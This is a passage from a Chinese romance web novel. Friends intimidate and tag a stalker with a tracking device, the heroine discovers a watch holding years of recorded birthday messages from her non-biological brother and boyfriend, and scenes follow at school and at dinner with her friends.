何让生盯着他缓步后退,靠着墙开了一瓶桌上的酒,又漫不经心地戳了根吸管浅浅喝起来,夜色沉而静,思绪跟着慢了下来,眼前忽然蹦出某个画面,喜欢嘬着吸管喝酒的某个大佬,总是爱往他酒瓶里吹泡泡,还非要等酒水全被吹出瓶口才罢休。
有模有样的,他也咬着吸管轻轻朝酒瓶里吹了口泡泡——
咕噜咕噜。
玻璃瓶里升起一连串水泡,转瞬即逝。
很小屁孩的习惯。
周身低气压刚要散开,转而又记起这位大佬前不久刚甩了他,嘴角笑意倏尔一收,下一瞬压低眼梢看向温志强:“最近在一中门口晃什么?”
温志强趴在地上半天没吭声,大脑有根弦却忽然一动。
一中?
垂着的眼吃力睁开,面前的人影只是悠悠一晃,温志强就吓得直了腰,抖声叫道:“我没去过一中!更不认识一中什么人,我求求你们放过我吧,我不认识你们,我才出狱……我没有再骚扰其她女人……”
腿好像真断了一样拖到地上动都动不了,他疼的脸上全是眼泪鼻涕,额头重重磕到地上,说到最后只重复一句,“求你们了,我以后见到你们一定会躲远远的…求你们放我走吧……”
废话好多。
何让生熬了几晚夜本来就一副死人样,还要和这傻逼周旋一晚上,脸色越来越臭,歪歪垮垮地倚到墙上,耐心耗尽,早就把路泊汀的话撂耳后了,冷眼扫过去,直接挑明。
“我是温——”
温声的哥。
……
不远处还在和路泊汀通话的庵加河,听到他的话直接被气笑,立马给他打了个手势叫停。
让你说了么你就说?
莽狗!
重新贴近手机,叫骂道:“今晚什么情况啊打你电话不接?说好十一点过来,这都几点了
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?不是我说,我今晚拖着他差点被……”
没说完就被打断——
“放他走。”
?
??
放走???
庵加河像幻听了一样,手机连忙贴到另一侧耳边,俊脸都皱了起来:“你知道要让他进去,今晚这机会多好么,之后人要跑没影儿了,谁知道他还有什么动作。”
这话不是开笑话,温志强这人典型的翻脸不认人的下三滥,李樊最近没动作估计也是考虑到这茬,而且何让生今晚还把人伤得不轻,以他小人之性,先不说后面怎么针对温声,他第一个找上门的,绝对是何让生。
路泊汀像在开车,嗓音混在穿梭的风中,听不真切,只解释了一句:“我需要他,就这两天。”
对温志强定罪重新坐牢,这是三人一开始就商量好的事,他今晚突然改变决定,庵加河不由蹙眉:“发生什么事了?”
等了会儿没回应,以为电话被挂断了,刚要看屏幕,就听见电话那端的他低声道:“我要安排他和我妈见一面。”
翘着的二郎腿不知不觉放了下去,庵加河静了静,又问:“你想好了?”
那阿声怎么办?
潜意识里,他们不想温志强和路家任何人碰面,尤其是姚姨和阿声。
温志强从上周开始就每晚守在一中门口了,他最近没怎么去学校,还是何让生放学来一中接人时发现的。
这种渣,留着就是个祸端。
庵加河若有所思地瞟向趴着的温志强,视线错开,又冷不防和何让生对上了眼。
得。
行。
何让生抚过有些胀痛的太阳穴,过来勾走他的手机,声音没起伏,面色也很淡,没了刚才对温志强的冷然,只说了一句:“只要你想清楚就行,剩下的事交给我。”
也不给路泊汀兄弟情的时间,他直接挂了电话,丢给庵加河:“老子不想欠任何人。”
说完就头也不回,直直走向温志强。
庵加河抬眸瞅他,三人里,他性子虽是最说一不二最乖戾偏执的那个,但只要朋友有事,他永远是第一个顶前的人,知道他一直惦记两年前在石峰的那件事,如果不是路泊汀,他何让生早死了。
撇撇嘴,庵加河心里怪吃味,朝着他的背影扯嗓子开喊:“你们记住,哥永远是你俩的哥,操。”
温志强卧趴在地上,一条歪着的腿翘向外,已经有些变形,看到何让生过来,吃力地挪蹭着上半身:“求你了放我走吧……”
何让生冷眼看着腿边的人,细长的眼梢直射过去,压迫感十足:“温志强,你该庆幸你不是我对象的爹,不然今晚,你觉得你能出这门?”
温志强已经没什么力气去问他怎么知道他的名字,也没听清他后面的话,只知道再不去医院他今晚就疼死在这里了,抬手讨饶一样拽他裤腿:“我…我以后一定不会………”
胳膊忽然被一把抓住。
何让生从裤兜里掏出两瓣窄型金属半环,两指错开卡上他的手腕,又轻巧一扣——
“咔嚓”一声。
两块半环紧紧合在了一起,中间还有一小块电子方屏,屏幕在夜里隐隐闪着红光。
追踪定位仪。
“你随便跑,但老子会一直盯着你,直到亲手撕了你。”
67. 小黑盒
路泊汀哄温声睡着后才离开,但她没睡实,他走后就醒了,床头还留了一盏温馨的暖光小灯,空气中飘着淡淡的余香,房间里出奇的静。
拿过手机,00:47。
翻来覆去还是睡不着,白天发生的那些事像刻意被调了慢倍速,硬生生挤入她的思绪,温声只好靠着床让大脑放空,低头轻轻按摩太阳穴,敛下的目光正好看到一旁的床头柜。
没多想,她坐直身子将颊边碎发别到耳后,微微停顿,伸手拉开了那个抽屉,幽微光线下,被压在浅色首饰盒下的黑色丝绒小盒子静静置在那儿,毫不起眼。
温声轻轻掏出来宝贝似的捧在怀里,几个月过去了,盒面还留有舒心的馨香,小心解开缠在上面的丝带,看到里面的东西后,她不由挑眉,转而又嘟起嘴巴。
什么嘛,还以为有多神秘呢……
是一只定制的宇舶表和有些眼熟的印章戒指。
小瞧地切了声,温声这回很是随意地取出那枚做工精巧雕有Chimera图腾的戒指,和之前他戴的尾戒很像,不过重新打磨改了款,偏窄的细圈绘着她看不懂的亚述浮雕,纹理古典细致,凸起的黑金虎头,原本煞气凶横的面色下,尖锐獠牙却轻轻衔着一颗优雅明艳的粉钻。
仿佛一只迷失在苍色荒瘠中的野兽,一路颠沛独行,终于获得了新生的力量。
戒指的设计风格很霸道也很不讲理,却意外有种奉若神明的虔诚浪漫。
里里外外瞧了个遍,温声又在光线下翻来翻去看了半天,盯的眼睛都有些酸了,假意压下嘴角的笑,她这才慢慢套回无名指,尺寸刚刚好,本来还担心这种突兀的撞色和另类的风格不适合她,手指晃来晃去,结果越看越喜欢……
是她的心心念的梦中情戒!
指腹来回摩挲外圈的图腾时,她还顺着凹凸的纹路发现了一处隐蔽的铰链,好像寻到宝藏一样,小心拨弄开那个闭合的衔接口,温声眯起眼凑近,里面印了一行数字。
0823。
她的生日……
“滴滴滴”
桌上的小闹钟响起了夜间1:00的整点报时,放在一旁的那块表屏幕亮了,贴着盒子的表身也突然抖动起来。
温声没当回事地捞起它戴回手腕,抖动当即就停了,螺旋桨指针跟着报时同时滑到数字1,看了眼刚才戒指里印着的数字,神差鬼使地,她突然伸手拨动档位调整了转盘的日历到8月23日,又将时间显示盘转到零点,紧接着旋紧表冠。
很莫名其妙的操作,她也解释不清,像在时空错开的那几秒空白里,有只无形的手把控着她做出的选择。
但表盘没什么变化。
唔……
这人不会只是简单送她一块表吧……
坐着干等了几秒,温声叹了声长长的气重新摔回床里,翻了个身,摸过手机打算给他发条骚扰信息——
“生日快乐。”
空落落的房间里忽然出现一道男声。
有几分含混不清,像是谁凝注着谁时不清不楚的自语。
温声有些发懵,眼睛睁大瞪的溜圆,一下蹦起身,头上的碎发都炸毛了。
谁啊!
谁在说话……?
那个像苍穹一样邃密的表盘开始缓缓旋转起来,晶体的细碎光泽在深色夜光下,有种轻云满星的不实,温声举到眼前,迟疑地盯紧,好像是从表里传出的。
“祝你六岁生日快乐。”话音比刚才清晰了一些,只是语气依然不自在,中途还停顿了一阵,接着说,“现在是200x年8月23日零点,是你回家的第一年,平安健康。”
是一段录音。
声音不大,甚至还有些模糊,音质也像专门被处理过,有着被时间覆盖的陌生感,温声微微一怔。
是路泊汀……
还是小少年时期说话有些稚气的他……
她连忙抬高手腕贴紧耳边,他却在那句生日祝福后就消失了,保持一个姿势等呀等,四周很静,静的呼吸都分了层,她又翻了个身,压在身下的被子硬是被她缠成一道扭曲的麻花。
表盘还在转,终于,在指针滑到12时重新出现了他的声音——
“祝你七岁生日快乐。”
少年说话青涩笨拙,还有一丝,只有她这个年纪才分辨得出的别扭。
“现在是200x年8月23日零点,你回家的第二年……”他无意间又停顿了下,还不自在地轻咳一声,温声眉眼弯起咧嘴笑了开,都能想到他是什么模样录的这段话——
关了所有灯,都没有躺床上,绝对是靠着桌沿,在黑暗中对着满室静然,自认很不经心很不在意的说出他觉得很有距离感的生日祝福,听进她耳朵里却是字字斟酌,“也是你读小学的第一年,入学快乐,平安健康。”
没有指名道姓,但她不用猜都知道这是他专门录给自己听的,心底像一涡被投石的夏河,荡开一圈又一圈的温意涟漪。
连她自己都不知道嘴角的笑什么时候就翘的高高的,翻了个身直接趴在床上,脚丫晃呀晃,下巴蹭着柔软的枕头,上面还有他刚才躺下时哄她睡觉的好闻气息。
很想很想他……
“八岁生日快乐,今天我的错…sorry……”
微微一顿。
温声大眼睛揶揄一转,心里默念三声。
三、二 ——
“我会记得准备道歉礼物的,回家的第三年,平安健康。”
想了想,八岁生日的前一天晚上,他两一起下楼吃晚饭,当时他低头和朋友正在打电话,没注意到她,拐角时步子迈的又大又快,擦身后她被撞了开,小小的身影差点滚下楼梯。
那时候她早就没了刚回家时的老实巴交,整个人性子又娇又凶,看他一副若无其事没打算道歉的样子,气不打一处来,趁他转身下楼时伸腿也蹭了他一脚。
看他猝不及防歪倒在扶手上,看他差点也从楼梯翻下去。
她就蛮开心。
坐回餐厅,他淡着张脸都懒得看她一眼,她更不是个贴冷脸的人。
你不理我?
谁稀罕啊。
于是,两人开始无差别攻击地冷战了起来。
那顿晚饭姚女士被迫坐到中间,时不时在两个幼稚鬼中调节一下气氛,但这两孩子就当没看见她似的,继续互不搭理。
一个疯狂往嘴里进食,勺子在碗里噼里啪啦作响,还时不时往边上翻个挑衅的白眼。
一个没什么表情地看着旁边游戏机里的视频,餐盘里的东西动都没动一口。
温声细指抚着下巴,如果不是今晚他提到这回事她早都忘了,那天晚上零点刚过,她在睡梦中还被门外飘进来的甜香蛋糕味勾的要醒不醒的。
这么一想,当时在门外点生日蜡烛的人就是他吧……
有些酸心的咬着唇肉,温声给他发了一个生日蛋糕的表情。
跨越将近十年的时间里,保留下来的声音替她打开了那扇门,由此,他们一起参与其中。
哪怕是一前一后。
“祝你九岁生日快乐,现在是200x年8月23日零点,今年是你回家的第四年,爸妈说你和他们亲近了起来…你两天没找我了,过生日时能主动和我说一句话吗……平安健康。”
他以前说话还带着和路康一样属于北方人的贫气,不过依然有着清朗少年的温润。
“祝你十岁生日快乐,回家的第五年,今天妈说你闯祸了,但我解决了,你还没和我说谢谢……”
风声呼呼,他好像在室外,手里燃着噼啪作响的东西,接着嗓音带笑地说:“不说谢也没事,我拿走你今晚买的炮了。平安健康。”
话音刚落,她就听见他附近响起了烟花爆竹的声音。
在等待每一年的生日祝福时,心情就像拆盲盒一样,而且这个盲盒是漫漫经年沉淀后的节日特定,在不能共存的两种时空里,在当下明知彼此的心意后,再去回看那个时候的隐然情愫,温声埋进枕头里,亮光下眼睛有些湿,明明也没过多少年,怎么就感觉……
和他已经一起走过了半生。
拉上被子盖过头顶,她开始听剩下的录音——
黑夜里他的声音干净清冷,隔着那层水晶玻璃忽近忽远,好像此刻他就躺在她身边,很奇妙的错觉,本来是少年清然淡定的生日祝福,却因为他的每次停顿,将少许赧然忸怩变成了纯情反差的暧昧。
听到后来,可能他的声音太过温柔,她迷迷糊糊都要睡过去了,耳边突然响起他的轻笑声。
“十六岁生日快乐,宝宝。”
这个喊了她无数次的称呼,第一次出现在录音里,陌生又熟悉。
呀~
温声很乖地偏过头贴近,眼睛都要睁不开了,但还是在被窝里笑着点点头回应他,虽然他听不到也看不见。
十六岁,两人确定关系的第一年,从KTV里她亲到他的那刻起……
一切覆水难收。
一切不可逆转。
“宝宝……”他又叫了她一声,开始闷着声儿低笑,虽然那天还没在一起,但听得出他很开心,包厢里好像切了歌,他很少见的跟着哼了一句粤语,“喺呢呼天唔应嘅公路,突然间想好好同你抱一抱。”
温声红着脸揉揉耳朵,他说话常常痞里痞气,对她哼歌时又若无其事地带上几分风月温柔。
很会蛊惑她。
“宝宝十七岁生日快乐,快成年了,离结婚又近了一年。”
意识变得混混沌沌,温声还不忘翻白眼,嘟囔着小声回他:“谁说要嫁你了呀?”
他的声音像清风,无形地吹向她:“在我成年的那天,还记得当时在海边吗?你问我许了什么生日愿望。”
呼吸和思绪都慢慢跟着他,温声点了点头,她甚至记得他在那片潮润的沙地上,用一根木棍随意写下的一句话,笔锋行云流水,走势无边——
知黑白戏常态,海涵万里,风浪多摇摆,步履不停。
“现在,我要把这个愿望送给你。”
“我会牵紧你,然后,我们走的更远。”
温声什么时候睡着的她都忘了,那段将近一个小时的录音,她听了又听,睡前窗外都露了白,恍惚间还看到那块表的机芯边缘,有颗蓝色光点隐隐闪烁了两下。
晚睡的结果就是第二天差点没起来。
单肩挎上书包,温声懵着一张没睡醒的脸,拿起没来得及套的羽
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绒服就往楼下跑,边跑边朝厨房喊:“刘嫂刘嫂!我不吃早饭啦不用给我准备!!”
刘嫂赶忙走过来拉住她,给她整理好衣服才说:“这还早啊乖,我熬了粥你喝完再走,今天王叔送你去学校。”
门口已经停好车,是以前没见过的司机,温声看了一眼就收回视线跟着刘嫂来到餐厅,早上实在没什么胃口,想着随便应付两口,但看到桌上的早饭时,眼睛倏地瞪大:“这是给我煮的吗?”
各式各样的粥,红的黑的黄的白的,肉眼都能看到好多补品食材,她转头望窗外,今天也没这么冷啊。
胃猛地一缩,感觉更吃不下了……
不想拂了刘嫂的心意,刚要坐下,就被她突然拉起手来要把脉,刘嫂以前是老中医,唬小姑娘最在行了,温声被她上来一顿按住的气势吓到了,小脸发白,抖着胳膊挣扎:“刘嫂…这…这是怎么了呀?”
她生病了吗?
刘嫂抓住她的胳膊没说话,眉目肃然,双唇微抿,硬生生把了半分钟脉,不等温声反应,伸手撩开她的校服探到小腹,温热的掌心贴着肚皮,还打着圈推揉,温声咬紧唇,这下脸又红了。
除了路泊汀,还没人碰过她的肚子……
刘嫂在她的尾椎骨也按揉了几下,随即抽出手,替她仔细整好衣服,平时医生的那股子板正上来了:“乖乖啊,你是体寒你自己不知道吗?平时痛经手脚冰凉这些情况怎么都不和刘嫂说呢,如果不是小路告诉我,你这么拖着不治以后变成宫寒怎么办,到时候严重了更不好治的。”
边说边往记事薄上写方子:“先从饮食调理,这段时间我做什么你就要吃什么…别皱眉听话啊……还有,晚上睡前挪出半个小时,我给你按摩几个穴道,一会走的时候记得拿我煮的姜茶……”
温声眨巴眨巴眼睛,体寒?她怎么不知道?
伸手悄咪咪地也摸了把自己的肚子。
唔,好像确实挺凉的……
想到昨晚他圈着自己坐到腿上,胳膊撑到她腰后,另一手还时不时在她小腹揉来揉去的,宽大修长的手带着干净的燥热,手法舒缓轻柔,她趴在他怀里全身都暖呼呼的。
还以为是他的调情呢……
温声不自在的浅咳了一声,刘嫂还在一旁交代,她翻出手机噼里啪啦敲字:
声声怪:我要吃辣我要喝冰我要造反我要鲨了你!
又快速给他甩了个‘我不服!’的小熊表情包。
两条消息都挺傲娇挺作里作气,也挺莫名其妙的。
但没关系,他懂。
都没过几秒,屏幕一亮。
L:让我发现你最近碰这些,老公先鲨了你。
后面还发了个可怜巴巴的emoji哭哭表情。
十足的阴阳怪气,十足的嚣张挑衅。
很符合他一贯的腹黑,简直拿捏她拿捏的死死的。
狠狠翻了个白眼,温声非常不屑地切了声,猛猛将手机塞回衣兜,挑了一碗又黑又红的血糯米粥,开始小口喝起来。
“阿声……”刘嫂看过来,想了想措辞,犹豫了下还是问,“你和小路…你们……”
还从没在她脸上见过这种纠结样。
温声一怔,随即浅浅笑起来,笑意温温婉婉:“您是想问我们是什么关系?”
刘嫂有些难为情,其实主家的事她从不多话过问,但这两个孩子是她一小带到大的,关系有什么变化她是能察觉出来的,只是不知道,是不是她猜的那样。
温声也不想隐瞒,很直白的点头,俏皮撒娇的玩笑口吻,有一丝不经意的脆弱坦露:“刘嫂,如果我是个假千金是个大骗子,是个偷走别人幸福的不可理喻的小偷,您会不会生气呀?”不等刘嫂接话,她垂眼又笑了笑,“还会不会……再为我煮这些粥?”
字字无端又无故,却字字明了。
刘嫂看她低下头默不作声地喝起了粥,叹了声气,起身靠近,拾起她快要掉进碗里的马尾,重新给她扎好头发,轻声道:“我一直当你是亲女儿一样对待,你刚回家时第一声叫的人是我,给你整理新房的人也是我,刘嫂永远都不会忘,是我们阿声牵着我的手和夫人说能不能让刘嫂一直留下来。”
几年前因为她的差失,路康食物中毒差点出了事故,心下过意不去又愧疚得很,她和姚书文提了离开的打算,只是还没等姚书文回应,阿声就先跑出来抱紧她不让她走。
后来姚书文还挤眉弄眼调侃两人:“我们乖宝在家里可是有两位妈妈的噢~”
这个心思出奇细腻的孩子,在她做饭时经常站在一旁给她打下手,哪怕不是亲生的,又如何?
“刘嫂知道,你说的那些都不是你。”
“其他事我不多问,我做的饭你都要好好吃完知道吗?”
快到学校时,江乐橙兴冲冲给她发了一段语音过来,先是一阵疯魔尖叫:“阿声!放学必须请老娘吃串!!少美联赛你入选摄影主题奖了!!!你小子还是厉害的!!!!”
紧跟一条:“听小道消息说,学校让今年获奖的几位同学去欧洲参加国际地理摄影展,啊啊啊啊,去年都还只能在亚洲呢,而且是公费,天哪,一中不愧是你啊哈哈哈,想去要去得去啊声声!!”
68. 遇袭
回到班里,数学课代表已经在发昨晚考的试卷了,扫了眼桌上,没有她的卷子,放下书包戳了戳前排还在偷摸吃早饭的江乐橙,小声问:“你怎么知道我入选了?”
学校官网还没出通知。
江乐橙卷起吃剩一半的肉夹馍塞进桌兜,草草蹭掉嘴角的渣,又提溜起一盒酸奶放在她桌上:“你还没到前老王进来说的,对了,他让你课间去找他一趟。”有意无意地瞟向靠墙位置,朝她挤眼打趣一笑,“贺厉好像也获奖了。”
无视她的揶揄,温声偏头看过去,正好和贺厉对上视线,眸光毫无波澜,很自然地收回目光,指了指她桌上的卷子:“你考了多少?没发卷子的…是不及格?”
心里忽然一堵。
她不会真要被请家长了吧……
“唔,不应该啊,我看你写的比我满多了。”江乐橙挠挠头,她这个数学成绩平时能被捶到地底下的人都及格了,阿声的数学可比她好太多了。
班里的同学陆陆续续都到齐了,后桌陈达新直起腰前后左右乱瞟,瞄到温声空空的桌子后嬉皮笑脸地找骂:“我这个渣都发卷子了,你怎么还没发啊温姐?”贱兮兮地还补了一句,“还真是不应该呢。”
不等温声说话,又笑着去招惹旁边的关语宁:“宁宁呐,你现在向我求情还来得及,说不定我一会心情好了还能陪你去找老王求情。”
关语宁也是个脾气爆的,马尾辫一甩,眯眼瞪他:“我和阿声哪次成绩不是在你前面,你也配?没看见孙向还在发吗,急你爹!”
陈达新啧啧摇头,抹掉脸上的唾沫星子,竖着食指淡定地点向她:“你八成是要完了,等着被叫家长吧。”
真是贱到没边。
被惹毛的关同学拎起桌上的单词本直往他身上砸:“去死吧陈狗熊!等你入土了姐都会活得好好的!”
周围同学看着这两活宝,都叹声无奈一笑。
孙向发完剩的几张卷子,站在讲台前清清嗓道:“现在还没收到卷子的几位同学,下课都自觉去找老王吧,他今天心情不错,还有回旋的余地啊各位!”
陈达新笑的更鸡贼了,还想调侃两句,被关语宁一掌糊住嘴,扭头看前排:“阿声,到时候一起去办公室吧,还不一定是成绩的事。”
温声只是轻掀嘴角笑了笑,没作声,有些心神不定地掏出课本,如果要叫家长,路康不在国内,姚书文…还不知道该怎么面对她,路泊汀也快要出国了。
她不想麻烦任何人,也没有其他人能让她麻烦了。
早自习铃声响起,翻出昨晚的数学作业摆在桌上,修订整齐的卷子,一式一样的字迹,折起标记的课本,还有,被红蓝两色笔写下解题步骤的笔记本。
他不是任何人。
原本是下午的地理课,因为地理老师胡大海家里有事,临时和王立明调换了早上一二节的数学课,趁他背身写板书的空闲,温声悄悄摸出手机,手指触到聊天框时又一顿。
还不知道昨晚的那通电话到底发生了什么事,他这几天应该会很忙,平时无理取闹就算了,现在这种时候——
屏幕一震,界面突然跳进一条消息。
L:我要离开几天,明天下午来接你。
温声愣起神,直直看着那条消息,还没动作,视线内又弹出一条:
L:顺便去见见你老师。
很多时候,她都有种错觉,他是这个世界上第二个自己。
指尖无意识地滑来滑去,一时不知道该怎么回他。
路泊汀好像很闲的样子,平时懒得多打字,这会几条消息挨着发过来,隔着屏幕都还有空逗她:
“第一次以家属的身份见你老师,有点紧张,我提两瓶酒两条烟去见他会被打出办公室么?”
“或者,和他老人家向上天发誓,我家小朋友下次考试一定会有进步,这招行得通么?”
紧绷的心情忽然就一轻。
温声噗地笑出声,肩膀都抖了起来,冬日的室外天还没彻底亮开,窗户蒙着一层湿雾薄霜,刚上第一节课班里就昏睡成一片。
前排犯困的江乐橙听到她的笑声立马来了精神,迅速回头,瞅着她一副笑开了还泛着粉的俏颜,亮晶晶的眼睛看过来时,哪还有高中生早课困成死狗的样子?
不用猜都知道和谁在聊天,江乐橙斜起眼意味深长地一笑——
收着点呗姐姐,你笑得闪瞎我眼了。
敛了笑故作冷淡地瞥她一眼,温声面不改色再次低下头,顶在桌下的手机压得更低了。
声声怪:你和我没亲没缘的,又以什么身份来见我老师?
嘴角却下意识翘起,继续挑衅——
声声怪:不好意思啊这位姓路的朋友,你认错人了吧,本小姐对你可没什么印象呢。
等了一会儿,他没回复。
余光扫到胡大海冷不丁回过身,她在第二排赶忙抬起头,手机快速藏进桌子里,动作一时有些急,这位平时上课就爱抓学生玩手机的老师很是明显地瞟了她一眼,好在他只是换了一根笔转过身接着去画图。
手里一震。
温声没敢动,胡大海和王立明一样都是磨人的老师,只要被他盯上,这节课就别想坐下了,他会一直喊人起来回答问题。
耐着性子等他画完环流图,温声才若无其事地抽出手机,很快一扫,接着,神情陡然一空,下一秒就错愕地捂住了嘴。
是一张照片。
两份分开的户口本证明。
L:这下真没有亲缘关系了宝宝,我只能是你老公。
那张很薄的单人户口本,页面很新,好像是刚办理出来的,白纸黑字,户主那处位置简单盖了三个字。
是他的名字。
贺厉之前说他设了局收买办理人员伪造她的亲子鉴定,却怎么都没料到,这是他给自己设的局。
路家原本收养的女儿成了真千金,以为是亲生儿子的人,转眼就变成了假少爷。
解除法律上的亲缘拟制关系本身就很困难,温声都不敢想他是怎么说服路康和姚书文做到的。
或者是…他一直在隐瞒……
但这些都不重要了,从现在开始,没有约束,没有偏见,他们走出的每一步,都是靠近彼此的康庄大路。
温声凝着那张照片,察觉到胡大海又看了过来,但这次她没抬头,手上敲字的力气足以正视他,缓缓打出一句——
“什么都不用带,也不用说那些话,你人能到就行。”
关机前,她也给他发了一张照片。
江乐橙困得从座位上差点翻了下去,课才上到一半,强忍着困意想扯个理由去小卖部买点解困的小玩意,手都快举起来了,被身后的人一拉,手心掉下几颗软糖。
刚要回头,就听见身后的人轻声说了句谢谢。
睡眼惺忪,神志也快不清了,但她依稀还能想起昨晚在电话里和路草顺嘴提了一句考试要请家长这茬。
哼哼。
自认很是傲娇很是潇洒帅气地吹了吹刘海,江乐橙又朝她抛了个仅两人能懂的媚眼儿——
你们好好在一起比什么都重要啊我~滴~宝。
手里的糖拆开包装,都还没送进嘴里,就被胡大海抓个正着。
“江丫头!站起来!来说说刚才我讲了什么重点?”手里的粉笔折了一半弹在她脑门上,吧唧一声,“什么糖拿出来让大家看看,这么好吃的话给全班同学和我都买一颗记住没?”
班里断断续续发出笑声。
江乐橙登时就清醒了,站起身有点做作又有点没羞没臊地当着全班同学的面戏弄老师:“劳斯,这糖可买不到啊,有钱也买不到。”
胡大海就看着她卖关子,挑眉询问:“哦?”
两人一起长大的,她一个眼神温声就能立马嗅到要说什么烂话,只是还没来得及捂她的嘴,下一刻就听见了全班的哄然大笑。
“这可是敲响意中人心门的动心之糖,您岁数属实大了点,不太适合再动心了呢,这边建议亲亲老师您下辈子再来品尝喔。”
年仅五十的少年胡大海这回没什么犹疑地举起手,咻——
将另一半粉笔再次不客气地弹向她脑门。
课间,温声和关语宁一起跑去B区的数办,王立明站在饮水机前正在泡茶,看到她两,手一指,让她们先去沙发坐下等。
高三数学组的组长看了一眼温声,笑着哟了声:“你就是路泊汀的妹妹吧,你哥这段时间没来学校,现在是在做什么?”顺着头顶摸了把光头,又禁不住问,“这小子学校稳了后都不回我消息了,你回去记得和他说,学校稳了不代表中间就没什么差错,记得让他给我回个电话。”
温声没听进他的话,有些心不在焉地点点头,大课间只有二十分钟,王立明还在慢慢悠悠地洗杯子涮杯子,有点坐不住了,她微微倾前身子直接问:“王老师,昨晚的卷子是哪里没达到分数吗?”
一旁的关语宁也附和:“我和阿声平时成绩还可以,这次确实不知道是什么原因没通过成绩。”
王立明砌好热茶,冬天气候干燥,热气氤氲在几人面前,茶盖一扣,他先翻出关语宁的卷子,简单说了一些扣分的问题后,随即靠向皮椅看过来,准确地说是看向温声:“你妈妈昨晚和我通过电话问你成绩的事,寒假去欧洲参加摄影展也是她安排的。”
面前原本挂着浅淡笑意的小姑娘忽然就沉默了起来。
想了想他又换了个问法:“阿声啊,你有没有想过留学这条路?其实国内以你的成绩努力一年也能去很好的学校,但家里如果有条件能给你安排更好的教育资源……”
上午十点,光线明亮阳光正足,有抹被日光照出的光束打在她腿边,空气中漂着的点点浮尘蹁跹跳动,她心里也蒙上了一层密密麻麻的灰,笑的有几分牵强无力,抬头打断他:“王老师,我目前学习状态挺好的,数学虽然难可我没放弃过,您如果觉得我这次成绩没达标,我可以向您保证以后每一场考试都不低于125分,这样行吗?”
胸口泛起的酸涩直冲鼻腔,她突然觉得很委屈,也莫名有股怨,不知道是对谁的,咬紧唇硬憋回眼眶里的热气,直视王立明:“摄影展机会难得,把这个名额留给其他更需要的同学吧,也拜托您能和我妈妈转达一下我的想法,我想留在国内读书。”
担心他还要继续劝,红着眼呛声承诺:“我能考上好大学的…我确定我能。”
一旁的关语宁一点一点靠近她,藏在中间空隙的手小幅度拉她的衣摆:不要啊声声,不想你走……
王立明对班里每个学生的学习情况再清楚不过,温声这个姑娘聪明劲儿强,人机灵性格也好,这学期成绩进步还很明显,好好抓一把,考进重点大学是没什么问题的,但是……
想到昨晚姚书文的话。
哎,难办。
抹了把老脸,也不想找小姑娘的事了,王立明指了指桌上剩下的最后一张卷子,标着132的红色数字,在灰青色的桌上异常亮眼:“这个当然要看你的决定,老师很看好你,昨晚数学考的不错,但是你的考卷有一点要以后注意,步骤太繁琐,都是费时还不拿分的……”
晚上放学刚出校门,温声就看到不远处的王叔已经停好车在等她了,旁边的江乐橙和关语宁还在拌嘴晚上要吃顿什么好的才能宰到她。
“想吃小城巷的烤肉串了呜呜呜。”
关语宁白眼翻的飞起,撇嘴道:“你能不能想点新颖的,那家烤肉串光这个月我就和你吃了不下五次。”
江乐橙咂吧咂吧嘴只好再次扒拉手机:“阿声想吃什么?甜的辣的酸的你选一个。”
“
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想吃点热乎的带汤的,你们先选,我马上回来。”
两人就站在冷风天里,看着温声小步跑到那辆经常接她回家的车前,车窗降下,看不清车里的人,关语宁仰头,对着灰蒙蒙的半空呼出长长的一声热气,接着轻声说:“阿声可能要出国了。”
江乐橙一时没反应,手里还在找江城最新出的必吃榜单,有些没心没肺地嗯了声:“然后呢?”
出口的话好像终于在脑子里过了一遍,滑手机的动作猝然一停,眼睛瞪大,吼出声:“什么?!”
她怎么不知道啊,好好的突然出什么国啊?
“今天老王旁敲侧问地提了一嘴,好像是阿声妈妈的意思。”
江乐橙一下沉默起来,垂着头立在原地,也没什么心情吃饭了,只要想到以后在学校没人陪自己去洗手间,也没人给自己打掩护去小卖部,更没有人再视她为最好。
只要想到放学就要自己一个人走了,想到唯一且最好的朋友会离自己很远很远,远到连见一面都不敢也没法说出口。
冷风吹到脸上又刺进心里,胸口好像有什么东西忽然变得空落落的。
这比失恋还远远让她难过。
关语宁见她半天没吭声,偏头看过去,一愣:“哭什么啊你,这还不确定呢……再说了,”指着不远处马上要走过来的人,缓声道,“我们应该相信和祝愿阿声,不管在哪里,不管离我们有多远,她永远都是她,我们也一直是我们。”
“出国对她来说,万一是一件好事呢。”
怎么可能。
江乐橙只是摇头,她对阿声和路草的事口风向来严实,哪怕是关语宁这种玩得好的朋友她都没透过一个字,以前没说过,今后更不会说,吸吸鼻子含混开口:“应该吧……”
温声穿过马路小跑过来,边跑边笑着说:“我让司机师傅先回去了,今晚可以晚点回家……”
步子不由一滞,静静看了江乐橙几秒,才缓步走到她身前,最后歪下头去找她红红的眼睛,浅声哼笑故意打趣她,“你还是笑起来最好看,我才去了几分钟你至于饿哭吗,今晚时间都给你行吗,你想吃什么我都带你吃个遍,听说淮北西路新开的一家湘菜馆很好吃,之前还上过纪录片,一直想带你们去吃——”
面前的人像个树懒一样突然缠上她,她被抱了个措手不及:“你……”
江乐橙闷在她颈侧,两只手抱紧她的腰,气息都在发颤:“阿声……你不能忘了我……”
很没头没脑的一句话,却让四周卷起的寒风都柔了起来,温声轻拍她的脑袋作安抚,又拉过一旁同样有点伤感的关语宁,三人贴在一起,周围人来人往,神色含笑或不解,亦或是冷眼轻视,但都无所谓,她早就在被世俗轻看的年纪里拥有了最纯粹的感情。
友情,另一种含义的珍宝。
“虽然说这种话很矫情,但我还是想告诉你们,我不能没有你们,以前是,以后更是。”
因为是湘菜,三个出生在江南的小孩一顿饭吃下来喝了两匝汽水,温声辣的嘴唇又红又肿,吃到最后,餐盘里还剩一些菜,她夹起一筷子辣椒炒肉丢进江乐橙的碗里,眉头一撂:“你点的你吃完。”
江乐橙脸也被辣红,略着舌头转头就夹给了关语宁:“这明明就是你点的,吃不完别想回家。”
关语宁冷笑一声,对这两人很是无语,菜刚上桌时她两吃的比谁都快,端起茶杯狠狠冲掉牛肉片上的辣椒,又一片一片分别丢到两人碗前,木着脸说:“猜拳吧,谁输了谁打包带回去。”
吃完饭已经是晚上九点半,气温骤降零下,街上早就没剩什么人了,离最近的地铁站还要两公里,三人沿着马路边漫无目的地朝前走。
晚上路泊汀打来电话,温声设了静音没听见,还在想要不要回视频时,江乐橙手里的打包袋就勾上了她的手腕,语气说不上的急:“今晚真喝多了,我要上厕所,你们等等我!”说完就转身跑进了有些偏僻的公共厕所。
关语宁的家离得最远,这会也有点想上厕所,滑下自己的打包袋套向她的另一只手腕,骂骂咧咧道:“橙子等等我,我也要去!”
